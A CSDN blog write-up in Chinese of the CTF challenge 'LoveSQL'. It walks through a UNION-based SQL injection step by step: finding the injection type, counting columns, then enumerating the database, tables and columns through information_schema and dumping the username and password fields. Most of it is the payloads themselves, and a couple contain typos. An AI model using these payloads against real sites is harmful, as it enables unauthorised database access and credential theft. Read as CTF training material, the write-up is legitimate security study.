[极客大挑战 2019]LoveSQL1

本文详细介绍了SQL注入攻击的原理和步骤,包括通过错误信息判断注入类型、利用ORDER BY确定字段数、联合查询显示数据库和表名、获取字段及值。在案例中,攻击者成功揭示了数据库名为'geek',并从'l0ve1ysq1'表中获取到敏感信息。最后,文章强调了防止SQL注入的重要性及其对系统安全的威胁。
摘要由CSDN通过智能技术生成

1. 判断是什么类型的注入  

1'  

发现报错  

原因:select name.passwd from users where username=' 1' ' and password=‘   ’;  

有语法错误  

所以可以判断为字符型注入  

 

2. 利用order by 语句判断字段数  

1' order  by 3 # 

1' order  by 4 #

 

 

得到字段数为3  

3.显位:联合查询查看显示位 

1' union select 1,2 ,3 #  

因为字段数为3,所以要显示三个位置  

 4.爆库:显示出数据库名字   

1' union selecct 1,2,group_concat(schema_name) from information_schema.schemate #  
  或  
1' union select 1,2,database()  #

 

数据库名字叫做geek 

5.爆表:利用union select联合查询,获取表名  

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # 

 得到两个表名  

geekuser

l0ve1ysq1

6. 爆列:利用union select 联合查询,获取字段名 (根据爆表得到的表名得到字段名)  

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'  

得到的字段名都是id,username,password  

7. 爆值:利用union select 联合查询,获取字段值(根据爆列得到的字段名得到字段值,并且还有根据爆表得到表名)  

 1' union select 1,2,group_concat(concat_ws(id,username,password)) from geekuser

 1' union select 1,2,group_concat(concat_ws(id,username,password)) from l0ve1ysq1 

 

 

 最终在 l0ve1ysq1表中字段值页面源代码得到fllag  

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值